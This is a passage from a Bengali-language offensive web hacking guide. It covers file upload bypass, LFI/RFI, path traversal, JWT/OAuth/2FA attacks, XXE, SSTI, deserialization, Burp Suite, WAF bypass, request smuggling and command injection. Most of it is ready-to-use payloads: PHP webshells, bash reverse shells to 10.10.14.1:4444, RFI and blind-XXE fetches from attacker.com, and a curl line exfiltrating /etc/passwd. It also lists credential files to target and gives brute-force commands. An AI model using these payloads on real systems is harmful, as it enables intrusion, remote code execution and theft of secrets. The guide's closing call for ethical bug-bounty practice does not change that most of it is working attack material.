alternative) url=https://xxx.oast.fun # Webhook.site দিয়ে
url=https://webhook.site/your-unique-id
```

CHAPTER 08

📂 File Upload, LFI ও Path Traversal

File-based attacks — Webshell থেকে /etc/passwd পড়া

Malicious File Upload

```
# সহজ PHP Webshell <?php system($_GET['cmd']); ?> <?php echo
shell_exec($_REQUEST['cmd']); ?> <?php passthru($_POST['c']); ?> # Shell
upload করলে: https://target.com/uploads/shell.php?cmd=whoami
https://target.com/uploads/shell.php?cmd=cat+/etc/passwd
https://target.com/uploads/shell.php?cmd=ls+-la+/var/www/ # Reverse Shell
PHP: https://target.com/uploads/shell.php?cmd=bash+-c+'bash+-
i+>%26+/dev/tcp/10.10.14.1/4444+0>%261'
```

File Upload Bypass

```
# Extension Bypass: shell.php # Block হলে চেষ্টা করো: shell.php5 # PHP5
shell.php7 # PHP7 shell.phtml # PHP HTML shell.pHp # Case variation shell.PHP
# Uppercase shell.php.jpg # Double extension shell.jpg.php # Reverse double
shell.php%00.jpg # Null byte (পুরনো PHP) shell.php. # Trailing dot # Content-
Type Bypass: # Burp-এ Content-Type পরিবর্তন করো: Content-Type: image/jpeg # ←
পরিবর্তন করো কিন্তু ফাইল PHP রাখো # Magic Bytes Bypass (File Header পরিবর্তন): #
shell.php-এর শুরুতে JPEG header যোগ করো: echo -e '\xFF\xD8\xFF\xE0' >
shell.php cat payload.php >> shell.php # PHP code যোগ # এখন file JPEG মনে
হবে কিন্তু PHP চলবে # .htaccess Bypass: # .htaccess ফাইল upload করো: AddType
application/x-httpd-php .jpg # এরপর shell.jpg upload করলে PHP হিসেবে চলবে! #
SVG XSS: <svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script> </svg> # SVG upload করলে XSS trigger
হবে
```

Path Traversal (Directory Traversal)

```
# মূল ধারণা: ../ দিয়ে উপরের directory-তে যাওয়া https://target.com/download?
file=report.pdf # → পরিবর্তন করো: https://target.com/download?
file=../../../etc/passwd https://target.com/download?
file=../../../../etc/shadow # Windows-এ: ..\..\..\..\windows\win.ini
..\..\..\windows\system32\drivers\etc\hosts # Encoding Bypass: ../ → ..%2f →
%2e%2e%2f → ..%252f (double encode) ../ → ..\/ → %2e%2e/ ../ → ....// (filter
শুধু একটা ../ মোছে) # গুরুত্বপূর্ণ টার্গেট ফাইল (Linux): /etc/passwd /etc/shadow
/etc/hosts /etc/ssh/sshd_config /var/www/html/config.php ~/.ssh/id_rsa
~/.bash_history /proc/self/environ # Environment variables /proc/self/net/tcp
# Network connections # Windows: C:\Windows\win.ini
C:\Windows\system32\drivers\etc\hosts C:\inetpub\wwwroot\web.config
```

LFI — Local File Inclusion

```
# Vulnerable PHP Code: <?php include($_GET['page']); ?> # সহজ LFI:
https://target.com/page?page=/etc/passwd https://target.com/page?
page=../../../etc/passwd # PHP Filter — Source Code পড়া!
https://target.com/page?page=php://filter/convert.base64-
encode/resource=config.php # Response: Base64 encoded PHP source code #
Decode করলে config.php-এর মূল code পাওয়া যাবে # LFI → RCE: Log Poisoning # SSH
log-এ PHP code inject করো: ssh '<?php system($_GET["cmd"]); ?>'@target.com #
তারপর log include করো: https://target.com/page?
page=/var/log/auth.log&cmd=whoami # /proc/self/environ LFI to RCE: # User-
Agent Header-এ PHP code দাও: User-Agent: <?php system($_GET['cmd']); ?>
https://target.com/page?page=/proc/self/environ&cmd=id # PHP Wrapper data://
https://target.com/page?
page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ #
base64 decode: <?php system($_GET['cmd']); ?>
```

RFI — Remote File Inclusion

```
# Remote file include করা https://target.com/page?
page=http://attacker.com/shell.php # Shell তৈরি করো Attacker server-এ: echo
'<?php system($_GET["cmd"]); ?>' > shell.php python3 -m http.server 8080 #
```

```
তারপর: https://target.com/page?
page=http://attacker.com:8080/shell.php&cmd=whoami
```

CHAPTER 09

🔑 Authentication Attacks

JWT, OAuth, Brute Force, Password Reset, 2FA Bypass

Brute Force Attack

```
# Hydra — HTTP Login hydra -l admin -P rockyou.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials" hydra -L users.txt -P passwords.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Wrong" # ffuf দিয়ে Brute Force ffuf -w rockyou.txt:FUZZ -u https://target.com/login -X POST -d "user=admin&pass=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -mc 302 # Burp Intruder # Request capture → Intruder → Sniper/Cluster Bomb # Position mark করো → Payload: Password list # Response length/status দেখো # Username Enumeration: # "User not found" vs "Wrong password" → username ভিন্ন! # Response time ভিন্ন হলেও username জানা যায়
```

JWT Attack — বিস্তারিত

JWT (JSON Web Token) হলো তিনটি অংশের একটি string: Header.Payload.Signature

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciJ9.SflKxwRJSMe
|————————————————————————————————|————————————————————————————————|————————
            Header (Base64)                        Payload (Base64)
{alg:"HS256",typ:"JWT"}             {user:"admin", role:"user"}            HMAC-SHA256(
```

```
# JWT Decode করো: echo "eyJ1c2VyIjoiYWRtaW4ifQ==" | base64 -d # অথবা: jwt.io ওয়েবসাইট # ★ Attack 1: Algorithm None Attack # Header পরিবর্তন করো: {"alg": "none", "typ": "JWT"} # Payload পরিবর্তন করো: {"user": "admin", "role":
```

```
"admin"} # Signature খালি রাখো # Token: header.payload. (শেষে dot) # ★ Attack 2: Weak Secret Cracking hashcat -a 0 -m 16500 jwt_token.txt rockyou.txt john --format=HMAC-SHA256 --wordlist=rockyou.txt jwt.txt # ★ Attack 3: Algorithm Confusion (RS256 → HS256) # Server RS256 (asymmetric) ব্যবহার করে # Public key দিয়ে HS256 sign করলে verify হয়! # Public key সাধারণত /jwks.json বা /.well-known/ তে থাকে # ★ Attack 4: Payload Tampering # {"user":"normal","role":"user"} → {"user":"admin","role":"admin"} # Signature verify না করলেই কাজ করে # JWT Tools: jwt_tool.py eyJ... -T # Tamper jwt_tool.py eyJ... -C -d rockyou # Crack
```

OAuth Bypass

```
# OAuth Flow বোঝা: # User → App → OAuth Provider → Callback URL → Token # ★ Attack 1: redirect_uri Manipulation # Normal: GET /oauth/auth?client_id=app&redirect_uri=https://target.com/callback&response_type=code # Attack: redirect_uri=https://target.com.evil.com/callback # Subdomain redirect_uri=https://target.com/callback/../evil # Path traversal redirect_uri=https://evil.com%40target.com/callback # @ encoding # ★ Attack 2: State Parameter Missing → CSRF # state parameter না থাকলে CSRF দিয়ে account link করা যায় # ★ Attack 3: Authorization Code Interception # code parameter leak হলে token নেওয়া যায়
```

Password Reset Flaws

```
# ১. Predictable Reset Token # Token: timestamp, username-এর hash → Bruteforce সম্ভব # ২. Token Expiry নেই # পুরনো token এখনো valid → Reuse করা যায় # ৩. Host Header Injection # Request-এ Host পরিবর্তন করো: Host: evil.com # Reset link: https://evil.com/reset?token=xxx # ভিকটিম click করলে evil.com-এ token চলে যাবে! # ৪. Response Manipulation # Reset-এ "Invalid OTP" response আসলে # Burp-এ response পরিবর্তন করো: "invalid" → "valid" # ৫. Username Leaking via Timing # Valid username → বেশি সময় লাগে (DB query) # Invalid username → কম সময়
```

2FA Bypass

```
# ১. OTP Brute Force (Rate limit নেই?) # 6-digit OTP: 000000 - 999999 → সর্বোচ্চ ১০ লক্ষ চেষ্টা # ২. OTP Bypass via Response Manipulation # Wrong OTP দাও → Response দেখো → Burp-এ modify # ৩. 2FA Skip করা # /2fa URL bypass করে সরাসরি /dashboard-এ যাও # ৪. Previous OTP Reuse # পুরনো OTP আবার পাঠাও # ৫. OTP Leaking # Response body-তে OTP আছে কিনা দেখো! # অনেক সময় dev mode-এ response-এ OTP থাকে
```

CHAPTER 10

⚙ XXE, SSTI ও Deserialization

Advanced Injection Attacks — RCE পাওয়ার রাস্তা

XXE — XML External Entity

XML input process করার সময় External Entity reference দিয়ে সার্ভারের ফাইল পড়া বা SSRF করা।

```
# স্বাভাবিক XML: <?xml version="1.0"?> <user> <name>Saimum</name> </user> # ★ XXE Payload — File Read: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user> # Response-এ /etc/passwd-এর content আসবে! # ★ XXE → SSRF: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> # ★ Blind XXE (Out-of-band): <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe; ]> # evil.dtd (attacker server-এ): <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%file;'>"> %exfil; %send; # Testing করো — Content-Type পরিবর্তন: Content-Type: application/xml Content-Type: text/xml
```

SSTI — Server-Side Template Injection

Template Engine (Jinja2, Twig, Freemarker) এ user input render করলে code execution সম্ভব।

```
# Detection — Mathematical Expression: {{7*7}} # 49 দেখালে → Template Injection! ${7*7} # 49 #{7*7} # 49 *{7*7} # 49 <%= 7*7 %> # 49 # Template Engine identify করো: {{7*'7'}} # → 7777777 = Jinja2/Twig # → 49 = Freemarker # → Error = Others
```

Jinja2 (Python/Flask) RCE

```
# Basic RCE:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} # MRO দিয়ে:
{{''.__class__.__mro__[1].__subclasses__()}} # → সব subclass list # Popen
class খুঁজে বের করো (usually index 414 বা কাছাকাছি) # Reverse Shell:
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >&
/dev/tcp/10.10.14.1/4444 0>&1"').read()}} # Filter bypass: {%set a='sys'%}
{%set b='tem'%}{{(a~b)}} # concatenation
```

Twig (PHP) RCE

```
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}} {{['id']|filter('system')}}
```

Freemarker (Java) RCE

```
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} ${7*7}
```

Insecure Deserialization

Object serialize করে পাঠালে, সেটা modify করে malicious object তৈরি করা যায়।

```
# PHP Deserialization # Vulnerable code: $user =
unserialize($_COOKIE['user']); # PHP Serialized object: O:4:"User":2:
{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";} # → role "admin" করে দাও #
Java Deserialization — ysoserial Tool java -jar ysoserial.jar
CommonsCollections6 'id' | base64 # Generated payload → সার্ভারে পাঠাও → RCE! #
Python Pickle Deserialization: import pickle, os class Exploit(object): def
__reduce__(self): return (os.system, ('id',)) payload =
pickle.dumps(Exploit()) # Detection Tool: ysoserial, PHPGGC phpggc
Laravel/RCE1 system 'id' --base64
```

CHAPTER 11

🛠️ Burp Suite — সম্পূর্ণ গাইড

Web Hacking-এর সবচেয়ে গুরুত্বপূর্ণ টুল

Proxy — সব Request Intercept করো

```
# Proxy চালু → Intercept On করো # Browser থেকে request গেলে Burp-এ থামবে # Request forward করো: Forward বোতাম # Request Drop করো: Drop বোতাম # Request পরিবর্তন করো: Edit করে Forward # ★ Send to Repeater: Ctrl+R # ★ Send to Intruder: Ctrl+I # ★ Send to Scanner: Ctrl+Shift+S (Pro) # HTTP History দেখো: Proxy → HTTP History # সব request/response এখানে আছে
```

Repeater — Manual Testing

```
# Repeater-এ Request Edit করো # Send করো → Response দেখো # বারবার পাঠানো যায় → Manual SQLi, XSS testing # Keyboard shortcut: # Ctrl+R = Send to Repeater # Ctrl+Enter = Send Request # Ctrl+Z = Undo
```

Intruder — Automated Fuzzing

```
# Request পাঠাও Intruder-এ: Ctrl+I # Positions Tab → Attack position mark করো: §value§ # Attack Types: # Sniper: একটি position, একটি payload list # Battering Ram: সব position-এ একই payload # Pitchfork: প্রতিটি position-এ আলাদা list (synchronous) # Cluster Bomb: সব combination (username+password brute force) # Payload Types: # Simple list: manual বা wordlist file # Numbers: sequential numbers (IDOR) # Brute forcer: character set দিয়ে (a-z, 0-9) # Runtime file: live wordlist # Results বিশ্লেষণ: # Status Code column: 200 vs 302
```

```
vs 403 # Length column: ভিন্ন length = ভিন্ন response = interesting! # Grep Match: নির্দিষ্ট text খোঁজা
```

Decoder — Encode/Decode

```
# বিভিন্ন encoding: URL encode: hello world → hello%20world URL decode: %3Cscript%3E → <script> Base64 encode: Hello → SGVsbG8= Base64 decode: SGVsbG8= → Hello HTML encode: < → &lt; Hex encode: A → 41 # ★ Shortcut: Ctrl+Shift+D → Decoder-এ পাঠাও # কোনো value select করো → Right click → Send to Decoder
```

Burp Extensions (BApp Store)

Extension	কাজ	কখন ব্যবহার
Autorize	Access Control test	IDOR testing automation
JWT Editor	JWT modify করা	JWT Attack
CSRF Tester	CSRF token analysis	CSRF testing
Turbo Intruder	দ্রুত brute force	Rate limit bypass
SQLiPy	SQLmap integration	SQL Injection
Active Scan++	Enhanced scanning	Auto vulnerability scan
Logger++	Advanced logging	All traffic analysis
Param Miner	Hidden parameter	Reconnaissance

Tips ও Shortcuts

```
# ★ দরকারী Shortcuts: Ctrl+R # Send to Repeater Ctrl+I # Send to Intruder Ctrl+Enter # Repeater-এ Send Ctrl+A # Select All Ctrl+Shift+U # URL Decode Ctrl+Shift+B # Base64 Encode # ★ দরকারী Tips: # Right click on request →
```

```
Copy as curl command # Right click → Engagement tools → Discover content #
Target → Site map → সব request tree # Comparer → Response দুটো তুলনা (Blind
SQLi)
```

CHAPTER 12

🔬 WAF Bypass ও Advanced Techniques

Race Condition, HTTP Smuggling, Cache Poisoning

WAF Bypass Techniques

```
# ১. Encoding # URL Encoding: <script> → %3Cscript%3E ' → %27 " → %22 < → %3C
# Double URL Encoding: %27 → %2527 (% → %25) SELECT → %53%45%4C%45%43%54 #
Unicode Encoding: ' → \u0027 < → \u003c # HTML Entity: <script> →
&lt;script&gt; # ২. Case Variation: SELECT → SeLeCt → SELECT → sElEcT # ৩.
Comment Injection: SEL/**/ECT username FR/**/OM users 1 /*!UNION*/
/*!SELECT*/ null # ৪. Whitespace Bypass: # Space replace: Tab(%09),
Newline(%0a), Form feed(%0c) SELECT%09username%09FROM%09users
1%0aUNION%0aSELECT%0anull # ৫. String Concatenation: # MySQL: CONCAT('admin')
বা 'ad'+'min' # MSSQL: 'ad'+'min' # ৬. HTTP Header Manipulation: X-Forwarded-
For: 127.0.0.1 # WAF bypass — "আমি local" X-Real-IP: 127.0.0.1 X-
Originating-IP: 127.0.0.1 # ৭. Chunked Transfer Encoding Transfer-Encoding:
chunked # Payload টুকরো টুকরো পাঠাও → WAF দেখতে পায় না
```

Race Condition

```
# একই সময়ে দুটো request পাঠাও → Logic error # উদাহরণ: Discount Coupon একবার
ব্যবহার # Check → Apply → Mark Used # দুটো request Check-এ থাকলে, দুজনেই Used
দেখায় না! # Burp Turbo Intruder: # Request → Right click → Send to Turbo
Intruder # concurrent request: 20+ একসাথে # Python দিয়ে: import threading,
requests def send(): r = requests.post('https://target.com/redeem', data=
{'code':'SAVE50'}, cookies={'session':'your_session'}) print(r.status_code,
len(r.text)) threads = [threading.Thread(target=send) for _ in range(20)] for
t in threads: t.start() for t in threads: t.join()
```

HTTP Request Smuggling

```
# Frontend ও Backend server Content-Length/Transfer-Encoding মতবিরোধ # CL.TE Attack: POST / HTTP/1.1 Host: target.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED ← Backend এটা পরের request এর অংশ মনে করবে! # TE.CL Attack: POST / HTTP/1.1 Host: target.com Content-Length: 3 Transfer-Encoding: chunked 8 SMUGGLED 0 # Tool: smuggler.py, Burp HTTP Request Smuggler extension
```

Web Cache Poisoning

```
# Cache Key-এ না থাকা Header দিয়ে response পরিবর্তন # Unkeyed Header খোঁজো: X-Forwarded-Host: evil.com X-Host: evil.com X-Forwarded-Scheme: http # উদাহরণ: X-Forwarded-Host Response-এ reflected হলে GET / HTTP/1.1 Host: target.com X-Forwarded-Host: evil.com # Response: <script src="https://evil.com/analytics.js"></script> # এই response cache হলে → সবাই evil.js পাবে! # Cache Buster দিয়ে: GET /?cb=123 HTTP/1.1 # নিজের জন্য test করো
```

Open Redirect

```
# দুর্বল redirect: https://target.com/redirect?url=https://evil.com # Bypass: # //evil.com → Protocol-relative URL # https:///evil.com → Triple slash # https://target.com@evil.com → @ symbol # https://evil.com%2F@target.com # OAuth + Open Redirect = Account Takeover: redirect_uri=https://target.com/callback/../../../redirect?url=https://attacker.com # Authorization code attacker-এর কাছে যাবে!
```

Command Injection

```
# OS Command inject করা # দুর্বল: ping -c 1 {user_input} # Separator দিয়ে extra command: 127.0.0.1; id 127.0.0.1 && id 127.0.0.1 | id 127.0.0.1 || id 127.0.0.1 `id` 127.0.0.1 $(id) # Blind Command Injection: 127.0.0.1 && sleep 5 # Time delay 127.0.0.1 | nslookup attacker.com # DNS exfiltration
```

```
127.0.0.1; curl http://attacker.com/?data=$(cat /etc/passwd | base64) #
Filter Bypass: c'a't /etc/passwd # Quote injection ca\t /etc/passwd #
Backslash who$()ami # Empty substitution
```

🎯 Web Hacking সারসংক্ষেপ — Attack Methodology

- ✅ Recon → Technology stack, subdomains, directories, JS files
- ✅ Input Testing → SQLi, XSS, SSTI, XXE, Command Injection
- ✅ Auth Testing → Brute force, JWT, OAuth, Password Reset
- ✅ Access Control → IDOR, Privilege Escalation, Business Logic
- ✅ Request Forgery → CSRF, SSRF, Open Redirect
- ✅ File Attacks → Upload Bypass, LFI/RFI, Path Traversal
- ✅ Advanced → Race Condition, Smuggling, Cache Poisoning
- ✅ Reporting → PoC বানাও, Impact দেখাও

🚀 প্র্যাকটিস করো

PortSwigger Web Academy (portswigger.net/web-security) — সম্পূর্ণ ফ্রি, সব ভালনারেবিলিটির জন্য আলাদা Lab আছে। SQLi থেকে শুরু করো। প্রতিটি Lab solve করলে real-world experience পাবে।

🌐 "The web is full of vulnerabilities — learn to find them ethically."

এই গাইড সম্পূর্ণ শিক্ষামূলক।

Bug Bounty প্রোগ্রামে বা নিজের সাইটে প্র্যাকটিস করো।

🛡️ Hack Ethically. Report Responsibly. Stay Legal.